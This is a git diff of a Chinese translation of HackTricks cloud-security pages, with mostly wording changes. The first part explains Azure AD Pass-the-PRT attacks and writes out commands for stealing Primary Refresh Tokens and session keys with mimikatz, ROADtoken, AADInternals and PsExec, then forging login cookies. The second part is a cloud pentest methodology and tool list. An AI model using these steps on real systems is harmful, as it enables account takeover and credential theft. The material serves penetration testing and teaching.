**上下文**(随机字节)。 +**KDF context** 是来自 AzureAD 的随机数和 PRT 创建的 **JWT** 与 **上下文**(随机字节)混合。 因此,即使 PRT 不能被提取,因为它位于 TPM 内部,但可以滥用 LSASS 来 **请求来自新上下文的派生密钥并使用生成的密钥来签名 Cookies**。 @@ -49,17 +49,17 @@ PRT cookie 实际上被称为 **`x-ms-RefreshTokenCredential`**,它是一个 J ## PRT 滥用场景 作为 **普通用户**,可以通过请求 LSASS 获取 SSO 数据来 **请求 PRT 使用**。\ -这可以像 **本地应用程序** 一样完成,这些应用程序从 **Web Account Manager**(令牌代理)请求令牌。WAM 将请求传递给 **LSASS**,后者使用签名的 PRT 断言请求令牌。或者也可以通过 **基于浏览器的 (web) 流** 来完成,其中 **PRT cookie** 用作 **头部** 来验证对 Azure AS 登录页面的请求。 +这可以像 **本地应用程序** 一样完成,这些应用程序从 **Web Account Manager**(令牌代理)请求令牌。WAM 将请求传递给 **LSASS**,后者使用签名的 PRT 断言请求令牌。或者可以通过 **基于浏览器的 (web) 流** 来完成,其中 **PRT cookie** 用作 **header** 来验证对 Azure AS 登录页面的请求。 -作为 **SYSTEM**,如果没有受到 TPM 保护,可以 **窃取 PRT** 或 **使用加密 API 与 LSASS 中的 PRT 密钥交互**。 +作为 **SYSTEM**,如果没有 TPM 保护,可以 **窃取 PRT** 或 **使用加密 API 与 LSASS 中的 PRT 密钥交互**。 ## Pass-the-PRT 攻击示例 ### 攻击 - ROADtoken -有关此方法的更多信息 [**请查看此帖子**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)。ROADtoken 将从正确的目录运行 **`BrowserCore.exe`** 并使用它来 **获取 PRT cookie**。然后可以使用此 cookie 与 ROADtools 进行身份验证并 **获取持久的刷新令牌**。 +有关此方法的更多信息 [**请查看此帖子**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)。ROADtoken 将从正确的目录运行 **`BrowserCore.exe`** 并使用它来 **获取 PRT cookie**。然后可以使用此 cookie 与 ROADtools 进行身份验证并 **获取持久刷新令牌**。 -要生成有效的 PRT cookie,您需要的第一件事是一个随机数。\ +要生成有效的 PRT cookie,您需要的第一件事是随机数。\ 您可以通过以下方式获取: ```powershell $TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed" @@ -80,7 +80,7 @@ AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9- ```powershell roadrecon auth prt-init ``` -然后您可以使用 [**roadtoken**](https://github.com/dirkjanm/ROADtoken) 来获取新的 PRT(从用户的进程中运行该工具进行攻击): +然后你可以使用 [**roadtoken**](https://github.com/dirkjanm/ROADtoken) 来获取一个新的 PRT(从用户的进程中运行该工具进行攻击): ```powershell .\ROADtoken.exe ``` @@ -88,7 +88,7 @@ roadrecon auth prt-init ```powershell Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"} ``` -然后您可以使用**生成的 cookie**来**生成令牌**以使用 Azure AD **Graph** 或 Microsoft Graph **登录**: +然后您可以使用**生成的cookie**来**生成令牌**以使用Azure AD **Graph**或Microsoft Graph进行**登录**: ```powershell # Generate roadrecon auth --prt-cookie @@ -100,7 +100,7 @@ Connect-AzureAD --AadAccessToken --AccountId ### 攻击 - 使用 AADInternals 和泄露的 PRT -`Get-AADIntUserPRTToken` **从 Azure AD 加入或混合加入的计算机获取用户的 PRT 令牌**。使用 `BrowserCore.exe` 获取 PRT 令牌。 +`Get-AADIntUserPRTToken` **获取用户的 PRT 令牌** 从 Azure AD 加入或混合加入的计算机。使用 `BrowserCore.exe` 获取 PRT 令牌。 ```powershell # Get the PRToken $prtToken = Get-AADIntUserPRTToken @@ -152,9 +152,9 @@ HttpOnly: Set to True (checked) #### 步骤 -1. **从 LSASS(本地安全授权子系统服务)中提取 PRT(主刷新令牌)**并存储以供后续使用。 -2. **接下来提取会话密钥**。鉴于此密钥最初由本地设备发出,然后重新加密,因此需要使用 DPAPI 主密钥进行解密。有关 DPAPI(数据保护 API)的详细信息,请参阅这些资源:[HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords),有关其应用的理解,请参阅 [Pass-the-cookie attack](az-pass-the-cookie.md)。 -3. 在解密会话密钥后,**获得 PRT 的派生密钥和上下文**。这些对于**创建 PRT cookie**至关重要。具体而言,派生密钥用于签署构成 cookie 的 JWT(JSON Web Token)。Dirk-jan 提供了对此过程的全面解释,可以在 [这里](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) 找到。 +1. **PRT(主刷新令牌)从 LSASS(本地安全授权子系统服务)中提取**并存储以供后续使用。 +2. **接下来提取会话密钥**。由于该密钥最初由本地设备发出,然后重新加密,因此需要使用 DPAPI 主密钥进行解密。有关 DPAPI(数据保护 API)的详细信息,请参阅这些资源:[HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords),要了解其应用,请参考 [Pass-the-cookie attack](az-pass-the-cookie.md)。 +3. 在解密会话密钥后,**获得 PRT 的派生密钥和上下文**。这些对于**创建 PRT cookie**至关重要。具体而言,派生密钥用于签署构成 cookie 的 JWT(JSON Web Token)。Dirk-jan 提供了对此过程的全面解释,可以在 [这里](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) 访问。 > [!CAUTION] > 请注意,如果 PRT 在 TPM 中而不在 `lsass` 中,**mimikatz 将无法提取它**。\ @@ -163,7 +163,7 @@ HttpOnly: Set to True (checked) 您可以在这里找到**提取这些详细信息的深入解释**:[**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) > [!WARNING] -> 在 2021 年 8 月的修复后,这将无法准确地获取其他用户的 PRT 令牌,因为只有用户可以获取他的 PRT(本地管理员无法访问其他用户的 PRT),但可以访问他的。 +> 在 2021 年 8 月的修复后,这将无法准确工作以获取其他用户的 PRT 令牌,因为只有用户可以获取他的 PRT(本地管理员无法访问其他用户的 PRT),但可以访问他的。 您可以使用 **mimikatz** 提取 PRT: ```powershell @@ -180,7 +180,7 @@ Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
**复制**标记为**Prt**的部分并保存。\ -还要提取会话密钥(**`ProofOfPossesionKey`**字段的**`KeyValue`**),您可以在下面看到高亮显示的部分。这个是加密的,我们需要使用我们的DPAPI主密钥来解密它。 +还要提取会话密钥(**`ProofOfPossesionKey`**字段的**`KeyValue`**),如下所示。这是加密的,我们需要使用我们的DPAPI主密钥来解密它。
@@ -210,7 +210,7 @@ Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT] ```
-- 访问 [https://login.microsoftonline.com](https://login.microsoftonline.com),清除 login.microsoftonline.com 的所有 cookies,并输入一个新的 cookie。 +- 访问 [https://login.microsoftonline.com](https://login.microsoftonline.com),清除所有 login.microsoftonline.com 的 cookies,然后输入一个新的 cookie。 ``` Name: x-ms-RefreshTokenCredential Value: [Paste your output from above] @@ -237,7 +237,7 @@ roadtx describe < .roadtools_auth #### 选项 3 - 使用派生密钥的 roadrecon -拥有上下文和通过 mimikatz 转储的派生密钥后,可以使用 roadrecon 生成一个新的签名 cookie: +在获得上下文和通过 mimikatz 转储的派生密钥后,可以使用 roadrecon 生成一个新的签名 cookie: ```bash roadrecon auth --prt-cookie --prt-context --derives-key ``` diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md index 6056b0a22..b5ad353a1 100644 --- a/src/pentesting-cloud/pentesting-cloud-methodology.md +++ b/src/pentesting-cloud/pentesting-cloud-methodology.md @@ -6,13 +6,13 @@ ## 基本方法论 -每个云都有其独特性,但一般来说,有一些**渗透测试人员应该检查的共同事项**在测试云环境时: +每个云都有其独特性,但一般来说,**渗透测试人员在测试云环境时应该检查一些共同点**: - **基准检查** - 这将帮助你**了解环境的规模**和**使用的服务** - 这也将使你能够找到一些**快速的错误配置**,因为你可以使用**自动化工具**执行大部分测试 - **服务枚举** -- 如果你正确执行了基准测试,你可能不会在这里发现更多的错误配置,但你可能会发现一些在基准测试中未被关注的配置。 +- 如果你正确执行了基准测试,你可能不会发现更多的错误配置,但你可能会发现一些在基准测试中没有被关注的配置。 - 这将使你知道**在云环境中到底使用了什么** - 这在接下来的步骤中会有很大帮助 - **检查暴露的资产** @@ -21,13 +21,13 @@ - 然后你应该检查**该资源是否可以被暴露**(机密信息?漏洞?暴露服务中的错误配置?) - **检查权限** - 在这里你应该**找出每个角色/用户的所有权限**以及它们是如何使用的 -- 过多的**高权限**(控制一切)账户?生成的密钥未使用?... 大部分这些检查应该已经在基准测试中完成 +- 过多的**高权限**(控制一切)账户?未使用的生成密钥?... 大部分这些检查应该已经在基准测试中完成 - 如果客户使用OpenID或SAML或其他**联合**,你可能需要向他们询问更多关于**每个角色是如何分配的**的信息(管理员角色分配给1个用户或100个用户是不同的) -- **仅仅找到**哪些用户具有**管理员**权限“\*:\*”是不够的。还有很多**其他权限**,根据使用的服务可能非常**敏感**。 +- **仅仅找到**哪些用户具有**管理员**权限“*:*”是不够的。还有很多**其他权限**,根据使用的服务可能非常**敏感**。 - 此外,还有**潜在的权限提升**方式可以通过滥用权限来实现。所有这些都应该考虑在内,并且**尽可能多的权限提升路径**应该被报告。 - **检查集成** -- 很可能在云环境中**与其他云或SaaS的集成**正在被使用。 -- 对于**你正在审计的云的集成**与其他平台,你应该通知**谁有权访问(滥用)该集成**,并且你应该询问**执行该操作的敏感性**。\ +- 在云环境中,很可能正在使用**与其他云或SaaS的集成**。 +- 对于**你正在审计的云的集成**与其他平台,你应该通知**谁有权访问(滥用)该集成**,并询问**执行该操作的敏感性**。\ 例如,谁可以在AWS存储桶中写入数据,而GCP正在从中获取数据(询问在GCP处理该数据时该操作的敏感性)。 - 对于**你正在审计的云内部**来自外部平台的集成,你应该询问**谁有外部访问权限(滥用)该集成**,并检查该数据是如何使用的。\ 例如,如果一个服务使用托管在GCR中的Docker镜像,你应该询问谁有权修改该镜像,以及在AWS云中执行该镜像时将获得哪些敏感信息和访问权限。 @@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env ### [Prowler](https://github.com/prowler-cloud/prowler) -它支持 **AWS, GCP & Azure**。请查看如何在 [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) 中配置每个提供商。 +它支持 **AWS, GCP & Azure**。查看如何配置每个提供商在 [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) ```bash # Install pip install prowler @@ -91,7 +91,7 @@ prowler --list-services AWS, Azure, Github, Google, Oracle, Alibaba {{#tabs }} -{{#tab name="安装" }} +{{#tab name="Install" }} ```bash # Install git clone https://github.com/aquasecurity/cloudsploit.git @@ -112,10 +112,10 @@ npm install ### [ScoutSuite](https://github.com/nccgroup/ScoutSuite) -AWS, Azure, GCP, 阿里云, Oracle Cloud Infrastructure +AWS, Azure, GCP, 阿里云, 甲骨文云基础设施 {{#tabs }} -{{#tab name="安装" }} +{{#tab name="Install" }} ```bash mkdir scout; cd scout virtualenv -p python3 venv @@ -170,7 +170,7 @@ steampipe check all 检查所有项目 -为了检查所有项目,您需要生成 `gcp.spc` 文件,指示所有要测试的项目。您可以按照以下脚本中的指示进行操作。 +为了检查所有项目,您需要生成 `gcp.spc` 文件,指明所有要测试的项目。您可以按照以下脚本中的指示进行操作。 ```bash FILEPATH="/tmp/gcp.spc" rm -rf "$FILEPATH" 2>/dev/null @@ -194,11 +194,11 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate ```
-要检查 **其他 GCP 见解**(用于枚举服务),请使用:[https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) +要检查 **其他 GCP 见解**(用于枚举服务),请使用: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) -要检查 Terraform GCP 代码,请访问:[https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) +要检查 Terraform GCP 代码: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) -更多 Steampipe 的 GCP 插件:[https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp) +更多 Steampipe 的 GCP 插件: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp) {{#endtab }} {{#tab name="AWS" }} @@ -225,20 +225,20 @@ cd steampipe-mod-aws-compliance steampipe dashboard # To see results in browser steampipe check all --export=/tmp/output4.json ``` -要检查 Terraform AWS 代码: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) +检查 Terraform AWS 代码: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) -更多 AWS 的 Steampipe 插件: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) +更多 AWS 插件的 Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) {{#endtab }} {{#endtabs }} ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite) -AWS, GCP, Azure, DigitalOcean。\ +AWS, GCP, Azure, DigitalOcean.\ 它需要 python2.7,并且看起来没有维护。 ### Nessus -Nessus 有一个 _**审计云基础设施**_ 扫描,支持:AWS, Azure, Office 365, Rackspace, Salesforce。在 **Azure** 中需要一些额外的配置以获取 **Client Id**。 +Nessus 有一个 _**审计云基础设施**_ 扫描,支持: AWS, Azure, Office 365, Rackspace, Salesforce。在 **Azure** 中需要一些额外的配置以获取 **Client Id**。 ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist) @@ -372,12 +372,12 @@ Scan-AzureAdmins ``` ### [Cloud Brute](https://github.com/0xsha/CloudBrute) -一个工具,用于在顶级云服务提供商(亚马逊、谷歌、微软、DigitalOcean、阿里巴巴、Vultr、Linode)上查找公司的(目标)基础设施、文件和应用程序。 +一个工具,用于在主要云服务提供商(亚马逊、谷歌、微软、DigitalOcean、阿里巴巴、Vultr、Linode)上查找公司的(目标)基础设施、文件和应用程序。 ### [CloudFox](https://github.com/BishopFox/cloudfox) -- CloudFox 是一个工具,用于查找云基础设施中的可利用攻击路径(目前仅支持 AWS 和 Azure,GCP 即将推出)。 -- 这是一个枚举工具,旨在补充手动 pentesting。 +- CloudFox 是一个用于查找云基础设施中可利用攻击路径的工具(目前仅支持 AWS 和 Azure,GCP 即将推出)。 +- 这是一个枚举工具,旨在补充手动的 pentesting。 - 它不会在云环境中创建或修改任何数据。 ### 更多云安全工具列表 @@ -412,10 +412,10 @@ azure-security/ ### 攻击图 -[**Stormspotter** ](https://github.com/Azure/Stormspotter) 创建 Azure 订阅中资源的“攻击图”。它使红队和 pentesters 能够可视化攻击面和租户内的转移机会,并增强您的防御者快速定位和优先处理事件响应工作的能力。 +[**Stormspotter** ](https://github.com/Azure/Stormspotter) 创建 Azure 订阅中资源的“攻击图”。它使红队和 pentester 能够可视化攻击面和租户内的转移机会,并增强防御者快速定位和优先处理事件响应工作的能力。 ### Office365 -您需要 **Global Admin** 或至少 **Global Admin Reader**(但请注意,Global Admin Reader 有一些限制)。然而,这些限制出现在某些 PS 模块中,可以通过 **通过网络应用程序** 访问功能来绕过。 +您需要 **Global Admin** 或至少 **Global Admin Reader**(但请注意,Global Admin Reader 有一些限制)。然而,这些限制出现在某些 PS 模块中,可以通过 **通过网络应用程序** 访问功能来绕过。 {{#include ../banners/hacktricks-training.md}}